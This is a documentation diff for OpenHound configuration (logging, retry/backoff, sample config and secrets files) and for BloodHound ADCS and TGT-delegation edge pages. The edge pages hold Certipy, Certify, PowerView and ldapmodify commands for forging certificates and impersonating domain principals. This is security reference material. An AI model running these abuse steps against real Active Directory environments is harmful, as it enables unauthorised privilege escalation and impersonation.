-| `log_max_bytes` | RUNTIME__LOG_MAX_BYTES | The size based rotation settings. Rotate the files after an item exceeds the specified byte size. 0 means rotate by time only | 5_000_000_000 (5GB) |
+| `log_max_bytes` | RUNTIME__LOG_MAX_BYTES | The size-based rotation settings. Rotate the files after an item exceeds the specified byte size. 0 means rotate by time only | 5_000_000_000 (5GB) |
| `log_backup_count` | RUNTIME__LOG_BACKUP_COUNT | The amount of files to keep before deleting the oldest. | 14 |
+
+ The code default for `log_cli_level` is `ERROR`, which keeps console output nearly silent. We recommend setting it to `WARNING` for day-to-day use so operators see actionable issues on screen without the noise of full `DEBUG`/`INFO` logging.
+
+ Both example configurations shipped with OpenHound set `log_cli_level = "WARNING"`.
+
+
+### HTTP request parameters
+
+OpenHound uses these `[runtime]` parameters to control how it handles and retries failing HTTP requests to source APIs.
+
+| Runtime Option | Environment Variable | Description | Default Value |
+|---|---|---|---|
+| `http_show_error_body` | RUNTIME__HTTP_SHOW_ERROR_BODY | Includes the HTTP response body in raised exceptions/logs. Useful for diagnosing API errors from collectors (GitHub, Okta, Jamf). May expose sensitive response data in logs when enabled. | false |
+| `request_max_attempts` | RUNTIME__REQUEST_MAX_ATTEMPTS | Maximum number of retry attempts for a failing HTTP request before OpenHound gives up and fails the pipeline. | 5 |
+| `request_backoff_factor` | RUNTIME__REQUEST_BACKOFF_FACTOR | Multiplier for the exponential delay between retries. The delay for a given attempt is `backoff_factor * 2^(attempt - 1)` seconds. | 1 |
+| `request_max_retry_delay` | RUNTIME__REQUEST_MAX_RETRY_DELAY | Upper bound, in seconds, on the computed exponential delay. Prevents the wait time from growing unbounded on later attempts. | 300 |
+
+#### How retries mitigate API rate limits
+
+OpenHound automatically retries requests that fail with `5xx` or `429` status codes, or when the connection is dropped or unreachable. If the API response includes a `Retry-After` header, OpenHound honors that value instead of the computed backoff delay.
+
+The three retry parameters work together as a single exponential-backoff algorithm rather than as independent settings:
+
+- `request_backoff_factor` sets the starting pace of the delay curve. The delay doubles on each subsequent retry attempt (standard exponential backoff).
+- `request_max_retry_delay` caps how long any single wait can grow to, so retries don't stall indefinitely between attempts.
+- `request_max_attempts` sets how many times OpenHound rides out this curve before it fails the collection run entirely.
+
+The following table compares the default retry curve to the tuned values shipped in OpenHound's example configurations:
+
+| Attempt | Default (`factor=1`, `max=300s`) | Tuned example (`factor=1.3`, `max=900s`) |
+|---|---|---|
+| 1 | 1s | 1.3s |
+| 5 | 16s | 20.8s |
+| 10 | 300s (capped) | 665.6s |
+| 15 | — (default stops at attempt 5) | 900s (capped) |
+
+
+ The example values (`request_max_attempts = 15`, `request_backoff_factor = 1.3`, `request_max_retry_delay = 900`) in the shipped `config.toml` templates aren't arbitrary. They were added specifically to work around GitHub API rate-limiting issues encountered during large collections.
+
+ GitHub's secondary/abuse rate limits can take several minutes to clear, and the DLT defaults (5 attempts, 300s cap) aren't enough to ride them out. Raising the attempt count and delay cap lets OpenHound patiently wait out GitHub's rate limits instead of failing the run.
+
+
+```toml Example ~/.dlt/config.toml with tuned retry settings
+[runtime]
+request_max_attempts = 15
+request_backoff_factor = 1.3
+request_max_retry_delay = 900
+```
+
+If you collect from rate-limit-sensitive sources, particularly GitHub, start from these tuned values rather than the DLT defaults.
+
### Data writing parameters
@@ -127,10 +222,13 @@ file_max_items=100000
file_max_items=50000
```
-The `data_writer` parameters directly influence the performance and memory use of the collection/conversion pipeline.
-Edges and nodes are processed in batches and the amount of processed items is determined by the `data_writer` parameters. Setting these parameters too low can result in a large amount of small files and increased overhead with less memory usage,
-while setting them too high can result in increased memory use and slower performance. We recommend experimenting
-with different values to find the optimal configuration, which typically depends on the size of your environment.
+
+ The `data_writer` parameters directly influence the performance and memory use of the collection/conversion pipeline. Edges and nodes are processed in batches and the amount of processed items is determined by the `data_writer` parameters.
+
+ Setting these parameters too low can result in a large amount of small files and increased overhead with less memory usage, while setting them too high can result in increased memory use and slower performance.
+
+ We recommend experimenting with different values to find the optimal configuration, which typically depends on the size of your environment.
+
### Extract parameters
diff --git a/docs/openhound/enterprise.mdx b/docs/openhound/enterprise.mdx
index 5ad802cd..931dc29f 100644
--- a/docs/openhound/enterprise.mdx
+++ b/docs/openhound/enterprise.mdx
@@ -55,7 +55,6 @@ The following parameters must be set in the `[destination.bloodhoundenterprise]`
| `token_key` | DESTINATION__BLOODHOUNDENTERPRISE__TOKEN_KEY | The API token key for authenticating with BloodHound Enterprise.|
| `token_id` | DESTINATION__BLOODHOUNDENTERPRISE__TOKEN_ID | The API token ID for authenticating with BloodHound Enterprise. |
| `url` | DESTINATION__BLOODHOUNDENTERPRISE__URL | The URL of the BloodHound Enterprise instance. |
-| `interval` | DESTINATION__BLOODHOUNDENTERPRISE__INTERVAL | The interval at which OpenHound will check for available jobs. |
### Collector-specific configuration parameters
Each collector requires additional configuration parameters that are unique to its data source. These settings can be defined in the configuration file or supplied via environment variables. For details on the available parameters, refer to the collector-specific configuration documentation using the links below.
@@ -77,38 +76,63 @@ Each collector requires additional configuration parameters that are unique to i
### Full configuration example
-The following example shows the full configuration for OpenHound with the required parameters for BloodHound Enterprise as well as example parameters for the Jamf collector. The configuration is split into two files: `config.toml` for the non-sensitive OpenHound/DLT configuration parameters and `secrets.toml` for the sensitive credentials and secrets. The configuration files can be provided through compose secrets, Kubernetes Secret and ConfigMap objects or supplied via environment variables.
-```toml title="config.toml"
-[runtime]
-http_show_error_body = true
-log_cli_level = "WARNING"
-log_format = "JSON"
-log_rotate_when = "midnight"
-
-[extract]
-workers = 8
-
-[normalize]
-workers = 3
-
-[load]
-delete_completed_jobs = true
-truncate_staging_dataset = true
-```
-
-```toml title="secrets.toml"
-[sources.source.jamf]
-username = "myusername"
-host = "https://tenant.jamfcloud.com"
-password = "mypassword"
-
-[destination.bloodhoundenterprise]
-interval = "300"
-token_key = "client_token_key"
-token_id = "client_token_id"
-url = "https://test.bloodhoundenterprise.io"
-```
+The following example shows the full configuration for OpenHound with the required parameters for BloodHound Enterprise as well as example parameters for the Jamf collector.
+
+The configuration is split into two files:
+
+- `config.toml` for the non-sensitive OpenHound/DLT configuration parameters
+- `secrets.toml` for the sensitive credentials and secrets
+
+You can provide these configuration files through compose secrets, Kubernetes Secret and ConfigMap objects, or environment variables.
+
+
+
+
+ For a full description of these and other available runtime parameters, see [Configuration](/openhound/configuration).
+
+ ```toml title="config.toml"
+ [runtime]
+ http_show_error_body = true
+ log_cli_level = "WARNING"
+ log_rotate_when = "midnight"
+
+ # HTTP retry/backoff for source requests; rides out API rate limits
+ # (e.g. GitHub during large collections) instead of failing the run.
+ request_max_attempts = 15
+ request_backoff_factor = 1.3
+ request_max_retry_delay = 900
+
+ # Default: logs are set to human readable text
+ # To switch to structured JSON instead, uncomment the line below (must be uppercase "JSON")
+ # log_format = "JSON"
+
+ [extract]
+ workers = 8
+
+ [normalize]
+ workers = 3
+
+ [load]
+ delete_completed_jobs = true
+ truncate_staging_dataset = true
+ ```
+
+
+
+ ```toml title="secrets.toml"
+ [sources.source.jamf]
+ username = "myusername"
+ host = "https://tenant.jamfcloud.com"
+ password = "mypassword"
+
+ [destination.bloodhoundenterprise]
+ token_key = "client_token_key"
+ token_id = "client_token_id"
+ url = "https://test.bloodhoundenterprise.io"
+ ```
+
+
## Deployment examples
diff --git a/docs/reference/opengraph-experimental/get-node-by-graph-node-id.mdx b/docs/reference/opengraph-experimental/get-node-by-graph-node-id.mdx
new file mode 100644
index 00000000..f468f104
--- /dev/null
+++ b/docs/reference/opengraph-experimental/get-node-by-graph-node-id.mdx
@@ -0,0 +1,5 @@
+---
+openapi: get /api/v2/nodes/{node_id}
+---
+
+
\ No newline at end of file
diff --git a/docs/reference/opengraph-experimental/get-relationship-by-graph-relationship-id.mdx b/docs/reference/opengraph-experimental/get-relationship-by-graph-relationship-id.mdx
new file mode 100644
index 00000000..51f7de5c
--- /dev/null
+++ b/docs/reference/opengraph-experimental/get-relationship-by-graph-relationship-id.mdx
@@ -0,0 +1,5 @@
+---
+openapi: get /api/v2/relationships/{relationship_id}
+---
+
+
\ No newline at end of file
diff --git a/docs/resources/edges/abuse-tgt-delegation.mdx b/docs/resources/edges/abuse-tgt-delegation.mdx
index 74943496..64d7dbba 100644
--- a/docs/resources/edges/abuse-tgt-delegation.mdx
+++ b/docs/resources/edges/abuse-tgt-delegation.mdx
@@ -3,14 +3,16 @@ title: AbuseTGTDelegation
description: The trust from the target node domain to the source node domain has TGT delegation enabled. When a resource in the source node domain is configured with unconstrained delegation, principals from the target node domain will automatically forward their Ticket Granting Ticket (TGT) to that resource upon access.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
TGT delegation allows an attacker to capture TGTs of privileged users or computers in the target domain when they authenticate against a system configured with unconstrained delegation.
-A common attack method involves the attacker logging into a DC of the source domain and coercing a DC of the target domain. Since DCs have unconstrained delegation enabled by default, this grants the attacker a TGT for a target domain DC, which can then be used to perform a DCSync attack on the target domain. This guide details that version of the attack.
+A common attack method involves the attacker logging into a DC of the source domain and coercing a DC of the target domain. Since DCs have unconstrained delegation enabled by default, this grants the attacker a TGT for a target domain DC, which can then be used to perform a [DCSync](/resources/edges/dc-sync) attack on the target domain. This guide details that version of the attack.
Alternatively, attackers can target other privileged computers or users besides DCs.
diff --git a/docs/resources/edges/adcs-esc1.mdx b/docs/resources/edges/adcs-esc1.mdx
index 26f5e747..697c437b 100644
--- a/docs/resources/edges/adcs-esc1.mdx
+++ b/docs/resources/edges/adcs-esc1.mdx
@@ -3,7 +3,10 @@ title: ADCSESC1
description: "This edge indicates that the principal has permission to enroll on one or more certificate templates, allowing them to specify an alternate subject name and use the certificate for authentication. They also have enrollment permission for an enterprise CA with the necessary templates published."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+
+
This enterprise CA is trusted for NT authentication in the forest, along with the certificate chain up to the root CA certificate. This setup lets the principal enroll certificates for any AD forest user or computer, enabling authentication and impersonation of any AD forest user or computer without their credentials.
@@ -49,10 +52,7 @@ certipy auth -pfx administrator.pfx -dc-ip 172.16.12
```
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
diff --git a/docs/resources/edges/adcs-esc10a.mdx b/docs/resources/edges/adcs-esc10a.mdx
index a456e841..fd929f8a 100644
--- a/docs/resources/edges/adcs-esc10a.mdx
+++ b/docs/resources/edges/adcs-esc10a.mdx
@@ -3,19 +3,24 @@ title: ADCSESC10a
description: "This edge indicates that the principal has control over a victim principal with permission to enroll on one or more certificate templates, configured to enable certificate authentication and require the userPrincipalName (UPN) of the enrollee included in the Subject Alternative Name (SAN)."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+import AdcsVictimMailRequirements from '/snippets/edges/adcs-victim-mail-requirements.mdx';
+import AdcsVictimSessionOptions from '/snippets/edges/adcs-victim-session-options.mdx';
+
-The victim also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow UPN certificate mapping. This setup lets the principal impersonate any AD forest computer, or any user where UPN does not match their sAMAccountName, without knowing their credentials.
-The attacker principal can abuse their control over the victim principal to modify the victim's UPN to match the sAMAccountName of a targeted principal followed by @CORP.LOCAL.
+The victim also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow UPN certificate mapping. This setup lets the principal impersonate any AD forest computer, or any user where UPN does not match their `sAMAccountName`, without knowing their credentials.
+
+The attacker principal can abuse their control over the victim principal to modify the victim's UPN to match the `sAMAccountName` of a targeted principal followed by @CORP.LOCAL.
Example: If the targeted principal is Administrator user of domain CORP.LOCAL, the victim's UPN will be populated with "Administrator@CORP.LOCAL". The attacker principal will then abuse their control over the victim principal to obtain the credentials of the victim principal, or a session as the victim principal, and enroll a certificate as the victim in one of the affected certificate templates. The UPN of the victim
("Administrator@CORP.LOCAL") will be included in the issued certificate under the SAN. Next, the attacker
principal will again set the UPN of the victim, this time to an arbitrary string (e.g. the original value).
The issued certificate can now be used for authentication against an affected DC. The UPN certificate mapping configuration on the DC makes the DC use the SAN value to map the certificate to a principal when performing Schannel authentication. The DC will attempt to find a principal with a UPN matching the SAN value ("Administrator@CORP.LOCAL") but as the victim's UPN has been changed after the enrollment, there will be no principals with this UPN. The DC will then attempt to find a principal with a{' '}
-sAMAccountName matching the SAN value and find the targeted user. In case the target is a computer, the DC will find it, and the DC will attempt sAMAccountName matching with a $ at the end of the SAN value as last resort. At last, the DC will authenticate the attacker as the targeted principal.
+`sAMAccountName` matching the SAN value and find the targeted user. In case the target is a computer, the DC will find it, and the DC will attempt `sAMAccountName` matching with a $ at the end of the SAN value as last resort. At last, the DC will authenticate the attacker as the targeted principal.
## Abuse Info
@@ -31,7 +36,7 @@ pyinstaller ./Certipy.spec
The Certipy.exe will be in the _dist_ folder.
-Step 2: Set UPN of victim to targeted principal's sAMAccountName followed by @ and
+Step 2: Set UPN of victim to targeted principal's `sAMAccountName` followed by @ and
the domain name.
@@ -41,26 +46,19 @@ Set the UPN of the victim principal using Certipy:
Certipy.exe account update -u ATTACKER@CORP.LOCAL -p PWD -user VICTIM -upn Target@CORP.LOCAL
```
-Step 3: Check if the 'mail' attribute of victim must be set and set it if required.
-
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
-
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 4.
+Step 3: Check if the `mail` attribute of victim must be set and set it if required.
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
+
-Check if the victim has the mail attribute set using PowerView:
+Check if the victim has the `mail` attribute set using PowerView:
```PowerShell
Get-DomainObject -Identity VICTIM -Properties mail
```
-If the victim has the mail attribute set, continue to Step 4.
+If the victim has the `mail` attribute set, continue to Step 4.
-If the victim does not has the mail attribute set, set it to a dummy mail using PowerView:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using PowerView:
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
@@ -68,18 +66,9 @@ Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
Step 4: Obtain a session as victim. There are several options for this step.
-If the victim is a computer, you can obtain the credentials of the computer account using the Shadow
-Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-
-Alternatively, you can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
-
-If the victim is a user, you have the following options for obtaining the credentials:
-
-* Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-* Password reset (see [ForceChangePassword edge](/resources/edges/force-change-password) documentation).
-* Targeted Kerberoasting (see [WriteSPN edge](/resources/edges/write-spn) documentation).
+
-Step 5: Enroll certificate as victim. Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Step 5: Enroll certificate as victim. Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
Certipy.exe req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target CA-SERVER -template TEMPLATE
@@ -104,7 +93,7 @@ Certipy.exe auth -pfx TARGET.pfx -dc-ip IP -ldap-shell
### Linux
-Step 1: Set UPN of victim to targeted principal's sAMAccountName followed by @ and
+Step 1: Set UPN of victim to targeted principal's `sAMAccountName` followed by @ and
the domain name.
Set the UPN of the victim principal using Certipy:
@@ -112,25 +101,18 @@ Set the UPN of the victim principal using Certipy:
```bash
certipy account update -u ATTACKER@CORP.LOCAL -p PWD -user VICTIM -upn Target@CORP.LOCAL
```
-Step 2: Check if the 'mail' attribute of victim must be set and set it if required.
+Step 2: Check if the `mail` attribute of victim must be set and set it if required.
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
+
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 3.
-
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
-
-Check if the victim has the mail attribute set using ldapsearch:
+Check if the victim has the `mail` attribute set using ldapsearch:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail
```
-If the victim has the mail attribute set, continue to Step 3.
+If the victim has the `mail` attribute set, continue to Step 3.
-If the victim does not has the mail attribute set, set it to a dummy mail using ldapmodify:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using ldapmodify:
```bash
echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -138,18 +120,9 @@ echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com"
Step 3: Obtain the credentials of victim. There are several options for this step.
-If the victim is a computer, you can obtain the credentials of the computer account using the Shadow
-Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-
-Alternatively, you can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
-
-If the victim is a user, you have the following options for obtaining the credentials:
-
-* Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-* Password reset (see [ForceChangePassword edge](/resources/edges/force-change-password) documentation).
-* Targeted Kerberoasting (see [WriteSPN edge](/resources/edges/write-spn) documentation).
+
-Step 4: Enroll certificate as victim. Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Step 4: Enroll certificate as victim. Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target CA-SERVER -template TEMPLATE
@@ -172,10 +145,7 @@ certipy auth -pfx TARGET.pfx -dc-ip IP -ldap-shell
```
Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
diff --git a/docs/resources/edges/adcs-esc10b.mdx b/docs/resources/edges/adcs-esc10b.mdx
index 2a8cc4e0..f1a6e96f 100644
--- a/docs/resources/edges/adcs-esc10b.mdx
+++ b/docs/resources/edges/adcs-esc10b.mdx
@@ -3,8 +3,12 @@ title: ADCSESC10b
description: "The principal has control over a victim computer with permission to enroll on one or more certificate templates, configured to enable certificate authentication, and require the `dNSHostName` of the enrollee included in the Subject Alternative Name (SAN)."
---
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+import AdcsVictimMailRequirements from '/snippets/edges/adcs-victim-mail-requirements.mdx';
+import AdcsDnshostnameSpnNote from '/snippets/edges/adcs-dnshostname-spn-note.mdx';
-
+
The victim computer also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow UPN certificate mapping. This setup lets the principal impersonate any AD forest computer without their credentials.
@@ -17,7 +21,7 @@ The attacker principal can abuse their control over the victim computer to modif
Step 1: Remove SPNs including `dNSHostName` on victim.
-The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
+
Set SPN of the victim computer using PowerView:
@@ -43,25 +47,18 @@ Set `dNSHostName` of the victim principal using Certipy:
Certipy.exe account update -u ATTACKER@CORP.LOCAL -p PWD -user VICTIM$ -dns TARGET.CORP.LOCAL
```
-Step 4: Check if the 'mail' attribute of victim must be set and set it if required.
+Step 4: Check if the `mail` attribute of victim must be set and set it if required.
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
+
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 5.
-
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
-
-Check if the victim has the mail attribute set using PowerView:
+Check if the victim has the `mail` attribute set using PowerView:
```PowerShell
Get-DomainObject -Identity VICTIM -Properties mail
```
-If the victim has the mail attribute set, continue to Step 5.
+If the victim has the `mail` attribute set, continue to Step 5.
-If the victim does not has the mail attribute set, set it to a dummy mail using PowerView:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using PowerView:
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
@@ -72,7 +69,7 @@ You can obtain a session as SYSTEM on the host, which allows you to interact wit
Step 6: Enroll certificate as victim.
-Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
Certipy.exe req -u VICTIM$ -p PWD -ca CA-NAME -target CA-SERVER -template TEMPLATE
@@ -102,7 +99,7 @@ Certipy.exe auth -pfx TARGET.pfx -dc-ip IP -ldap-shell
Step 1: Remove SPNs including `dNSHostName` on victim.
-The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
+
Remove SPN entries with ldapmodify:
@@ -118,26 +115,19 @@ Set `dNSHostName` of the victim principal using Certipy:
certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM$ -dns TARGET.CORP.LOCAL
```
-Step 3: Check if the 'mail' attribute of victim must be set and set it if required.
-
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
-
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 4.
+Step 3: Check if the `mail` attribute of victim must be set and set it if required.
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
+
-Check if the victim has the mail attribute set using ldapsearch:
+Check if the victim has the `mail` attribute set using ldapsearch:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail
```
-If the victim has the mail attribute set, continue to Step 4.
+If the victim has the `mail` attribute set, continue to Step 4.
-If the victim does not has the mail attribute set, set it to a dummy mail using ldapmodify:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using ldapmodify:
```bash
echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -149,7 +139,7 @@ You can obtain a session as SYSTEM on the host, which allows you to interact wit
Step 5: Enroll certificate as victim.
-Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target CA-SERVER -template TEMPLATE
@@ -178,10 +168,7 @@ certipy auth -pfx TARGET.pfx -dc-ip IP -ldap-shell
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
@@ -202,4 +189,4 @@ This edge is related to the following MITRE ATT&CK tactic and techniques:
* [Set-DomainObject](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/)
* [LDAPSearch](https://linux.die.net/man/1/ldapsearch)
* [LDAPModify](https://linux.die.net/man/1/ldapmodify)
-* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
\ No newline at end of file
+* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
diff --git a/docs/resources/edges/adcs-esc13.mdx b/docs/resources/edges/adcs-esc13.mdx
index 00ba4352..0bdac41c 100644
--- a/docs/resources/edges/adcs-esc13.mdx
+++ b/docs/resources/edges/adcs-esc13.mdx
@@ -3,7 +3,10 @@ title: ADCSESC13
description: "The ADCSESC13 edge indicates that the principal has the privileges to perform the ADCS ESC13 abuse against the target AD group. The principal has enrollment rights on a certificate template configured with an issuance policy extension."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsEnrollmentIdentityAttributes from '/snippets/edges/adcs-enrollment-identity-attributes.mdx';
+
+
The issuance policy has an OID group link to an AD group. The principal also has enrollment permission for an enterprise CA with the necessary template published. This enterprise CA is trusted for NT authentication and chains up to a root CA for the forest. This setup allows the principal to enroll a certificate that the principal can use to obtain access to the environment as a member of the group specified in the OID group link.
@@ -27,7 +30,7 @@ certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local
```
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
The certificate PFX is printed to the console in a base64-encoded format.
diff --git a/docs/resources/edges/adcs-esc3.mdx b/docs/resources/edges/adcs-esc3.mdx
index 13ede98d..71804483 100644
--- a/docs/resources/edges/adcs-esc3.mdx
+++ b/docs/resources/edges/adcs-esc3.mdx
@@ -4,7 +4,11 @@ description: "The principal has permission to enroll on a certificate allowing t
certificate."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsEnrollmentIdentityAttributes from '/snippets/edges/adcs-enrollment-identity-attributes.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+
+
They also have permission to enroll for a certificate template that permits enrollment by
@@ -24,7 +28,7 @@ Step 1: Use Certify (2.0) to request an enrollment agent certificate.
```cmd
Certify.exe request --ca CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA --template Vuln-EnrollmentAgent
```
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: Use the enrollment agent certificate to issue a certificate request on behalf of another user to a certificate template that allows for authentication and permits enrollment agent enrollment.
@@ -32,7 +36,7 @@ Step 2: Use the enrollment agent certificate to issue a certificate request on b
Certify.exe request-agent --ca ca01.corp.local\CORP-CA01-CA --template User --target itadmin --agent-pfx
```
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the target principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. Choose another target with the given attribute set.
+If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the target principal does not have their `mail` or `dNSHostName` attribute set, which is required by the certificate template. Choose another target with the given attribute set.
The certificate PFX is printed to the console in a base64-encoded format.
@@ -49,14 +53,14 @@ Step 1: Use Certify to request an enrollment agent certificate.
certipy req -u 'user@corp.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name
```
